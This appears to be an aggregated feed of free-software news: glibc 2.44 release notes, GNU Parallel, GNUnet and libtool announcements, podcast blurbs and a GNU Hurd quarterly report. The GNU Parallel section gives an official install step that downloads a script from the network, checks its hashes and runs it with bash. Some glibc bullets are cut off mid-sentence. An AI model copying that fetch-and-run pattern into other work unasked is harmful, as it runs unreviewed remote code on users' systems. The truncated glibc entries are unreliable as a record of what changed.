FreeBSD 16 Retires The Last Of Its GPL Code From Its Base System
Free consulting
We were asked about backing up to an encrypted NAS without ZFS.
With several open source figures taking a stance on either side of the generative AI debate, we have another argument about it. This time we actually come to something closer to an understanding of each other’s views, even if we still end up disagreeing.
News/discussion
“Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it”
Protecting our FLOSS commons from LLMs
General Resolution: LLM usage in Debian
Support us on patreon and get an ad-free RSS feed with some early episodes
The GNU C Library
=================
The GNU C Library version 2.44 is now available.
The GNU C Library is used as the C library in the GNU system and
in GNU/Linux systems, as well as many other systems that use Linux
as the kernel.
The GNU C Library is primarily designed to be a portable
and high performance C library. It follows all relevant
standards including ISO C23 and POSIX.1-2024. It is also
internationalized and has one of the most complete
internationalization interfaces known.
The GNU C Library website is at http://www.gnu. ... /software/libc/
Packages for the 2.44 release may be downloaded from:
http://ftpmirr ... .gnu.org/libc/
http://ftp.gn ... org/gnu/libc/
The mirror list is at http://www.gnu. ... /order/ftp.html
Distributions are encouraged to track the release/* branches
corresponding to the releases they are using. The release
branches will be updated with conservative bug fixes and new
features while retaining backwards compatibility.
NEWS for version 2.44
=====================
Major new features:
running ldconfig. Specific tunable settings and the
/etc/tunables.conf file format and path are not part of the stable
library interfaces and may change between releases.
Transparent Huge Pages (THP) if THP is not disabled in the kernel. When
glibc.elf.thp is set to 1, malloc uses the actual kernel THP mode
instead of defaulting to madvise mode and madvise_thp will stop issuing
MADV_HUGEPAGE if kernel THP mode is always.
page size is above MAX_THP_PAGESIZE, THP in malloc is disabled.
been imported from the CORE-MATH project, in particular cosh, sinh, and
tanh.
from the CORE-MATH project.
arguments containing commas (which however still must evaluate to a single
value).
symbols, allowing improvements in performance.
support to correctly set the expected linker options.
operations (including status, write on shadow stack, and push to shadow
stack) are locked after enabling GCS with ENFORCED or OVERRIDE GCS policy.
When a GCS operation is locked, a program cannot change this operation
status via the prctl syscall. This prevents disabling or corrupting the
GCS shadow stack during runtime.
single and double precision special cases have been vectorized for SVE and
AdvSIMD, and vector variants of powr have been added.
memchr, memcpy, memmove, stpncpy, strcmp, strchr, strcpy, strncmp, strncpy,
strlen, and strrchr have been added.
Deprecated and removed features, and other changes affecting compatibility:
aligned to alignof (max_align_t), the documentation now says future
versions of glibc may relax alignment requirements for small allocations.
For example, a future malloc(1) might return a pointer with odd
alignment, because no object of size 1 can have a fundamental
alignment greater than 1.
The corresponding AArch64-specific functionality that was previously
activated by this flag has been removed as well.
effect on the build since the NSS reorganization in glibc 2.33; its only
remaining behavior was to suppress the link-time warnings on the NSS
interface functions in libc.a, which are now emitted unconditionally.
Security related changes:
The following CVEs were fixed in this release, details of which can be
found in the advisories directory of the release tarball:
GLIBC-SA-2026-0005:
gethostbyaddr and gethostbyaddr_r may incorrectly handle DNS
response (CVE-2026-4437)
GLIBC-SA-2026-0006:
gethostbyaddr and gethostbyaddr_r return invalid DNS hostnames
(CVE-2026-4438)
GLIBC-SA-2026-0007:
iconv crash due to assertion failure with untrusted input
(CVE-2026-4046)
The following bugs were resolved with this release:
[2363] libc: EOPNOTSUPP and ENOTSUP in errno.h must be different,
according to SUSv3
[3794] manual: iconv: TRANSLIT and IGNORE feature not documented
[15792] dynamic-link: [arm] ARM dynamic linker should save/restore
coprocessor registers
[20331] libc: fts ignores errors from readdir()
[20680] dynamic-link: ifunc resolver cannot access the thread pointer
with static linking
[22944] libc: fts cannot traverse paths which have a length longer
than USHRT_MAX
[25257] libc: sotruss: fix error message for '--f' argument
[25770] locale: newlocale memory leak in LOCPATH parsing and on error
paths
[27582] libc: x86_64: IFUNC in static user programs may crash when
built with -fstack-protector-all
[28218] dynamic-link: ld.so: ifunc resolver calls a lazy PLT. When
does it work?
[28817] libc: static-pie ifunc resolver tls failure
[28940] nss: __nss_database_get doesn't check for allocation failure
[30136] manual: Please document behaviour of iconv(3) when input is
untranslatable
[30304] nptl: nptl/tst-pthread-gdb-attach test fails with new libc
shared library version
[30769] malloc: malloc_trim is not working correctly for arenas other
than arena 0
[30976] dynamic-link: rtld: resolve ifunc relocations after
JUMP_SLOT/GLOB_DAT/etc
[30992] libc: alpha: setrlimit() with negative values besides
RLIM_INFINITY returns EPERM
[31901] libc: elf/tst-glibc-hwcaps-prepend-cache fails on i686
[33226] math: math-vector-fortran.h vs not ffast-math
[33626] libc: execvpe should skip inaccessible $PATH components
[33650] build: abilist.awk doesn't handle unversioned defined symbols
[33785] stdio: New streams are linked into global list before they are
fully initialized
[33848] build: Build fails at openat2.h, redefinition of 'struct
open_how'
[33882] libc: Recursion in nftw() causes stack overflow(CWE-674)
[33904] build: error: '__vasprintf_chk' undeclared here
[33921] build: Building with Linux-7.0-rc1 errors on OPEN_TREE_CLONE
[33935] stdio: _IO_wfile_doallocate not linked correctly when linking
glibc statically
[33980] locale: iconv: ibm139x trigger assertion error when converting
to internal while lack enough room (CVE-2026-4046)
[33985] build: ld: cannot find -lgcc_s: No such file or directory
[33999] stdio: libio: potential dangling _IO_save_base or memory leak
in wgenops.c
[34006] stdio: libio: inconsistent fmemopen_write behavior on last \0
[34008] stdio: stdio-common: scanf %mc pattern will cause heap
overflow when width > 1024
[34014] nss: gethostbyaddr and gethostbyaddr_r may incorrectly handle
DNS response
[34015] nss: gethostbyaddr and gethostbyaddr_r return invalid DNS
hostnames
[34019] stdio: libio: undefined behavior when setbuf on open_memstream
[34033] network: resolv/ns_print.c: ns_sprintrrf TSIG path bypasses
buflen and can overflow caller buffer
[34064] dynamic-link: The unnecessary PT_NOTE check in when loading a
binary
[34069] network: Buffer overread in ns_sprintrrf with corrupted RDATA
field (CVE-2026-6238)
[34070] hurd: Calling open ("/dev/tty/", O_RDONLY) causes the program
to segfault
[34073] regex: regexec can mistakenly match with backrefs and the $
anchor
[34079] dynamic-link: THP segment load aligns all PT_LOAD segments to
THP page size
[34080] dynamic-link: Support THP segment load with THP enabled with
madvise
[34083] dynamic-link: __get_thp_mode and __get_thp_size are called
twice
[34090] libc: wordexp WRDE_APPEND rollback restores stale we_wordv,
leading to invalid free in wordfree
[34098] libc: Missing SUPPORT_STATIC_PIE in arm32
[34129] string: x86: Non-temporal memset unreachable on AMD Zen 3/4/5
[34144] libc: ld.so clobbers VFP registers during runtime linking
[34154] network: Segfault in sock_eq after res_init() returns -1, due
to stale _u._ext.nscount in __res_iclose
[34156] dynamic-link: dlsym(RTLD_DEFAULT, ...) from a constructor
SIGSEGVs when tail-called
[34164] dynamic-link: elf: IFUNC resolvers do not see static TLS
initialization
[34170] dynamic-link: elf: IFUNC resolver reading global-
dynamic/TLSDESC __thread variable crashes inside __tls_get_addr
[34183] math: fma produces wrong results
[34192] nptl: pthread_setname_np opens /proc/<tid>/comm with O_RDWR
instead of O_WRONLY|O_CLOEXEC
[34196] libc: elf: static dlopen: pointer guard of the loaded
ld.so/libc.so is left uninitialized
[34197] dynamic-link: elf: Stack canary and pointer guard are
recoverable from AT_RANDOM (getauxval)
[34205] libc: aarch64: SIGSEGV in tunable_strcmp in static-pie
binaries run with a string tunable
[34208] stdio: scanf not pushback after matching failure
[34210] libc: elf/tst-glibc-hwcaps-prepend-cache fails on
armv7a-unknown-linux-gnueabihf
[34236] locale: Non-representable transliteration still causes iconv
to exit with 1 if TRANSLIT is specified
[34289] network: ns_sprintrrf uses p_class, p_type internally
[34311] build: THP tests failed to link
[34347] libc: Incorrect trailing bitfield word of struct tcp_info
[34348] dynamic-link: FAIL: elf/tst-thp-1 if THP is disabled in kernel
[34351] build: Random test failures
[34355] build: [2.44 Regression] "make check -j7 subdirs=stdio-common"
no longer works
[34396] libc: sparc64-unknown-linux-gnu , Gentoo: >200 test failures,
SIGILL in many binaries
[34398] string: Truncated strncpy on s390x z900 ifunc variant
Release Notes
=============
https://sourcewar ... wiki/Release/2.44
Contributors
============
This release was made possible by the contributions of many people.
The maintainers are grateful to everyone who has contributed
changes or bug reports. These include:
Adam Yi
Adhemerval Zanella
Alejandro Colomar
Andreas K. Hüttel
Andreas Schwab
Arjun Shankar
Aurelien Jarno
Avinal Kumar
Brian Jorgensen
Carlos O'Donell
Carlos Peón Costa
Charlotte Mcmenamin
Collin Funk
Cosmina Dunca
DJ Delorie
Daan De Meyer
Deng Jianbo
Dev Jain
Diego Nieto Cid
Dmitry Kovalenko
Dylan Fleming
Etienne Brateau
Fabian Rast
Florian Weimer
Frédéric Bérat
Garccez
George Hu
H.J. Lu
Jakub Jelinek
Jiamei Xie
Jiho Lee
Jiri Stransky
John David Anglin
Jonathan Wakely
Josef Johansson
Joseph Myers
Justus Winter
Luca Boccassi
Lucas Chollet
Martin Coufal
Matt Turner
Michael Ford
Michael Jeanson
Michael Kelly
Mike FABIAN
Mike Kelly
Muhammad Kamran
Nicolas Boulenguez
Paul Eggert
Peter Bergner
Peter Collingbourne
Petr Menšík
Pierre Blanchard
Pino Toscano
Pádraig Brady
Richard Wild
Rocket Ma
RyotaSaito
Sachin Monga
Sajan Karumanchi
Sam James
Samuel Balazi
Samuel Thibault
Sana Kazi
Sergey Kolosov
Shamil Abdulaev
Shengwen Cheng
Siddhesh Poyarekar
Stefan Liebler
Thomas Daubney
Tomasz Kamiński
Uros Bizjak
WANG Rui
Weihong Ye
Weixie Cui
Wilco Dijkstra
Xi Ruoyao
Xiang Gao
Yao Zihong
Yunze Zhu
Yury Khrustalev
Zihong Yao
mengqinggang
xiejiamei
zombie12138
We would like to call out the following and thank them for their
tireless patch review:
Adhemerval Zanella
Andreas K. Hüttel
Arjun Shankar
Aurelien Jarno
caiyinyu
Carlos O'Donell
Collin Funk
DJ Delorie
Florian Weimer
Frédéric Bérat
Ganesh Gopalasubramanian
H.J. Lu
JiangNing
Mathieu Desnoyers
Paul Eggert
Paul Zimmermann
Peter Bergner
Sam James
Samuel Thibault
Siddhesh Poyarekar
Stefan Liebler
Sunil K Pandey
Wilco Dijkstra
Yury Khrustalev
Does language choice actually matter?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Does language choice actually matter?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
It’s another hot questions episode! Tech we’d use if we rebuilt everything from scratch, career advice to our past selves, how much of our jobs we could do from our phone, and the qualities we’ve seen in great managers.
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
A new HTTP caching standard looks promising but might struggle to get adopted, a terrible space mirror idea is actually happening, cars will spy on us all, and picking a VPN for use with an IP that doesn’t change very often.
Plug
Support us on patreon and get an ad-free RSS feed with some early episodes
News/discussion
HTTP gets a QUERY method so complex searches can stop pretending to be POST
FCC grants approval for sun-reflecting space mirror that’s been widely criticized by astronomers
Free consulting
We were asked about picking a VPN for use with an IP that doesn’t change very often.
Los próximos días 5, 6 y 7 de agosto tendrán lugar las XVII Jornadas Nacionales de Debate Interdisciplinario en Salud y Población “Investigar e intervenir en salud en tiempos de negacionismos y retrocesos”, organizadas por el Área de Salud y Población del Instituto de Investigaciones Gino Germani de la Facultad de Ciencias Sociales de la Universidad de Buenos Aires (UBA).
Luis Falcón (GNU Solidario) junto al Dr. Fernando Sassetti (UNER) presentarán en la sección "Desigualdades Sociales de la Salud", con el título "Software Libre como modelo de equidad, privacidad, soberanía tecnológica y sostenibilidad en salud. El caso de GNU Health".
Para la comunidad de GNU Health es un privilegio y un honor ser parte de este tan importante evento que lucha por la dignidad del individuo y de la comunidad, por un sistema sanitario público, de calidad y universal. Un sistema y un derecho hoy seriamente comprometido y amenazado por las grandes corporaciones financieras y tecnológicas.
Haciendo alusión al título de las jornadas, la comunidad GNU y la filosofía del Software Libre representan el faro moral para Investigar e intervenir en salud en tiempos de negacionismos y retrocesos.
¡Nos vemos en Buenos Aires!
A new security release was published today! A minor Out-of-bounds Read was discovered. And fixed!
No confidential impact is possible.
A very low risk of crash is possible.
Enjoy & update!
Aymeric
GNU Parallel 20260722 ('Chat Control') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
gnu parallelすごい！！！
-- たらたら@nosennyuu@twitter
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
12345678 c555f616 391c6f7c 28bf9380 44f4ec50
$ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
70727536 3428aa9e 9a136b9a 7296dfe4
$ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
$ bash install.sh
Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Some of the tech from early on in our lives that inspired where we are today. Plus discoveries including and old game that doesn’t work, professional audio hardware that now works on Linux, Arch on easy mode, and an old chip that can do a surprising amount.
Discoveries
Celebrating 55 years of the 555 timer chip (flashing alert)
Support us on patreon and get an ad-free RSS feed with some early episodes
We are pleased to announce the release of libgnunetchat 0.8.0.
This is a minor new release bringing compatibility with the major changes in latest GNUnet release 0.28.0. Some minor issues in the API got fixed. Additionally the library was updated to make use of the newer PILS service and an additional layer of encryption for shared files got removed. It is intended to rely on the encryption layer of the FS service in GNUnet for that in the future to reduce overall complexity.
Older releases of the applications using libgnunetchat stay compatible with this release.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the ChangeLog .
Hello and welcome to another Qoth! Here's what's been happening in Q2 of 2026!
Joshua Branson added a pretty cool svg logo for our ethernet multiplexor. He built that image with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on real iron! The Hurd wiki could certainly use more artwork. Perhaps you have a favorite Hurd translator that you believes needs some artwork!
Sergey Bugaev announced his WIP 9pfs (source code), and it has a wiki page! He writes:
Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)
Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.
I wanted to complete 9pfs before publishing, but that ultimately
didn't happen, so now it's time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs
What's implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.
Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn't yet port to the new one.
He then got a little more motivated, and he added some write support!
Etienne Brateau added validation to msync, so that the Hurd better follows POSIX.
Diego Nieto Cid worked on allowing privileged users to set their task priority (nice value). His patches landed in glibc and GNU Mach. He also fixed a tiny bug in our test suite. He fixed an adjtime bug, which is helpful to the OpenNTPD port, and he fixed two more bugs.
Paulo Duarte sent a RFC patch series trying to commit Sergey’s previous AArch64 work. He writes:
This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.
The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...
Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.
He also fixed a tiny cross compilation issue.
gfleury fixed some tmpfs typos. He also fixed a kernel crash on a null pointer deference.
Almudena Garcia is developing a WIP trivfs implementation in rust. The work is not complete yet, but it is possible to write Hurd translators in Rust!
Mikhail Karpov added some checks for mmap in several places.
He also worked on adding storeio to the bootstrap
chain.
This is actually quite interesting. Currently the Hurd sets device
entries in /dev/ statically. For example, I am writing this qoth on
a Hurd machine that is using two /dev/ entries for my filesystem:
/dev/wd0s1 for swap and /dev/wd0s5 for my root filesystem.
However, /dev/wd0s1 through /dev/wd0s16 exist on my computer!
Once Mikhail's project is done, then the Hurd will dynamically
populate SATA devices at boot time! No more need for static
translators! He
writes:
I've expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img
The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.
I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`
It actually is even cooler! Samuel (our fearless leader) is seeking
feedback
for how to name these newer /dev entries. Samuel writes:
One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.
I'm then wondering how this would fit in the "grand scheme". Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn't easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.
Perhaps we could use
settrans -c /dev/hd0s /hurd/partfs /dev/hd0
and then we'd have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some
settrans -c /dev/hd /hurd/probedisk hd
and then we'd have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we'd eventually have
/dev/hd/0s/1
But I'm also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have
/dev/hd0/1
and with the probedisk translator, you could have
/dev/hd/0/1
What do people think about it?
Mike Kelly has been hard at work porting OpenBSD’s OpenNTPD, which required some glibc work. The Hurd doesn't currently have a NTP daemon, so thanks Mike!
He also debugged a weird memory error with rump, and he provided a "brown-tape" solution for it. Hopefully, he (or you dear reader), can reach out to the NetBSD people to fix this bug. This just goes to show that when two projects use the same code, both projects benefit!
He also got a glibc patch
committed.
Essentially SIGSTOP/SIGCONT was duplicating portions of files,
which is now fixed. However, there are still some other
issues
with building some haskell packages.
Joan Lledó continued his work on porting dhcpcd. Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to help us out. Thanks Roy!
Bradley Morgan fixed a tiny implementation bug with cat. He also tweaked procfs to show hidden files, and he allowed passing “-s” to init. Previously, passing "-s" to init was silently ignored.
Johannes Schauer Marin Rodrigues has been working on getting s-build to run on amd64 Hurd. It is a rather long email thread, so grab some popcorn and dig in!
Milos Nikic ported Neovim. He also worked on bug fixes to libdiskfs, and he fixed a deadlock bug in the “ext3/ext4” filesystem journal.
In the last qoth we had talked about how the Milos was working on adding an ext3/ext4 binary compatible journal. Samuel has committed it! Samuel wrote:
There is a couple things that I fixed on the fly:
- We want to use pthread_cond_clockwait rather than
pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
CLOCK_REALTIME, to avoid being hit by ntpdate and such.
- In diskfs_S_dir_rename, there was an addition of:
pthread_mutex_unlock (&fnp->lock);
which was clearly bogus: we were unlocking it again below.
There are a couple things that we'd want to fix now:
- when calling diskfs_file_update, don't we have to be inside a
transaction? Otherwise if we pass wait=1 and use a journal, we won't
be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don't use a
transaction. And ideally we'd have an assertion that makes sure we
respect this.
- we should define some helper for this recurring pattern:
if ((docommit) && (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
diskfs_journal_commit_transaction (txn);
else
diskfs_journal_stop_transaction (txn);
- journal_drain_deferred_blocks should document what it does, not just
its call conditions :), and more generally the functions that are
not already documented in a .h and not just a _locked variant of a
documented function.
Leonardo Lopes Pereira did some spring cleaning to remove some dead code.
Samuel Thibault mentioned in an email that the Hurd can support nvmes with rump, but that the work was just not done yet. Perhaps you, dear reader, would like to help us accomplish this task?
The mysterious user yelini worked on porting the D language compiler.
Damien Zammit worked on tweaking the Hurd’s WIP CI. He also fixed several bugs to make it possible to run the Hurd’s test suite from GNU/Linux running on an AArch64 computer. He also is working on integrating qemu’s Hurd support into upstream qemu’s CI, so that the support does not bitrot.
Sophiel Zhou fixed a tiny pfinet permission checking issue and taught pfinet to not fail under memory pressure:
This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.
Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED. Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.
We are pleased to announce the release of GNUnet 0.28.0.
GNUnet is an alternative network stack for building secure, decentralized and
privacy-preserving distributed applications.
Our goal is to replace the old insecure Internet protocol stack.
Starting from an application for secure publication of files, it has grown to
include all kinds of basic protocol components and applications towards the
creation of a GNU internet.
This is a new major release. Major versions may break protocol compatibility with the 0.27.X versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.27.X GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.28.0 release is still only suitable for early adopters with some reasonable pain tolerance .
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the git log, the NEWS.
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
Having seen some technologies come to a definite end, Chris wonders if we should be willing to draw a line under open source software sometimes.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Microsoft really wants your Windows settings data, secure boot has been useless for a decade, our thoughts on (the idea of) Incus and IncusOS, and configuring ZFS for a Lightning Memory Mapped Database.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Jails, Not Containers: FreeBSD Isolation Done Right
News/discussion
Microsoft flips Windows Backup to on by default unless you’re in the EU
Microsoft’s Secure Boot has been broken for a decade and no one noticed until now
Free consulting
We were asked about configuring ZFS for a Lightning Memory Mapped Database.
Libtoolers!
The Libtool Team is pleased to announce the release of libtool 2.6.2.
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
libtool 2.6.2 [stable]:
Ileana Dumitrescu (4)
libtool 2.6.1 [beta]:
Alexandre Janniaux (4)
Alexey Samsonov (1)
Anthony Mallet (1)
Arnold (1)
Dima Pasechnik (1)
Frederic Berat (1)
Ileana Dumitrescu (15)
KO Myung-Hun (4)
Kirill Makurin (1)
Mintsuki (1)
Nicolas Boulenguez (1)
Olly Betts (1)
Patrice Dumas (1)
Richard J. Mathar (1)
libtool 2.6.0 [alpha]:
Anthony Mallet (1)
Bruno Haible (2)
Christian Feld (1)
Collin Funk (1)
Elizabeth Figura (1)
Evgeny Grin (1)
Frédéric Bérat (1)
Gleb Popov (1)
Ileana Dumitrescu (47)
Julien ÉLIE (1)
Karl Berry (1)
Kirill Makurin (1)
Manoj Gupta (1)
Martin Storsjö (1)
Michael Haubenwallner (2)
Mintsuki (1)
Mitch (1)
Pierre Ossman (2)
Takashi Yano (1)
Ileana
[on behalf of the libtool maintainers]
==================================================================
Here is the GNU libtool home page:
https://gnu. ... g/s/libtool/
Here are the compressed sources:
https://ftpmirror ... tool-2.6.2.tar.gz (2.1MB)
https://ftpmirror ... tool-2.6.2.tar.xz (1.1MB)
Here are the GPG detached signatures:
https://ftpmirror ... -2.6.2.tar.gz.sig
https://ftpmirror ... -2.6.2.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
File: libtool-2.6.2.tar.gz
SHA256 sum: 24adb3aa9ae035c70faba344af57d73215eb89281045af6c7ccd307751f8b0bf
SHA3-256 sum: b0e77c0dc9a082830c95d182da77747d1f5435a06132feefd5054bfde2c9da81
File: libtool-2.6.2.tar.xz
SHA256 sum: 2ef1067c16c97db930fd740cc9bc3d3ba9a583804ae5ac42cc3e8719e49e191e
SHA3-256 sum: c24b9995af8391a310a258dcb98897f92d86f47acca235f3d2859ca0ed1d9dd0
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.6.2.tar.gz.sig
The signature should match the fingerprint of the following key:
pub rsa4096 2021-09-23 [SC]
FA26 CA78 4BE1 8892 7F22 B99F 6570 EA01 146F 7354
uid Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
uid Ileana Dumitrescu <ileanadumi95@protonmail.com>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key ileanadumitrescu95@gmail.com
gpg --recv-keys 6570EA01146F7354
wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify libtool-2.6.2.tar.gz.sig
This release is based on the libtool git repository, available as
git clone https://https.git ... g/git/libtool.git
with commit 309bb53a8adfb22c6e5869cc8da049bf123e5438 tagged as v2.6.2.
For a summary of changes and contributors, see:
https://gitweb.gi ... shortlog;h=v2.6.2
or run this command from a git-cloned libtool directory:
git shortlog v2.6.1..v2.6.2
This release was bootstrapped with the following tools:
Autoconf 2.73
Automake 1.18.1
Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965
NEWS
Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
release changes.
** New features:
- Pass 'resource-dir=*' flag for Clang.
- Recognise explicit shared library arguments when linking dependency
libraries to a shared library, like exists when linking a program.
- Support OpenMP with macOS clang by processing '-Xpreprocessor
-fopenmp' as one token.
** Bug fixes:
- Store cygpath file path conversions correctly for MSYS2 and MSVC.
- Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.
- Separate Objective C and C++ cache check for proper tagging support.
- Fix in darwin to support values with spaces.
- Limit the length of DLL name to 8.3 correctly to avoid corrupting a
generated DLL on OS/2.
- Remove unused variable on OS/2, which could cause issues with static
library generation if defined.
- Recognise more static linking options for Clang.
- Fix emscripten CXX postdeps using non-PIC sysroot.
- Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.
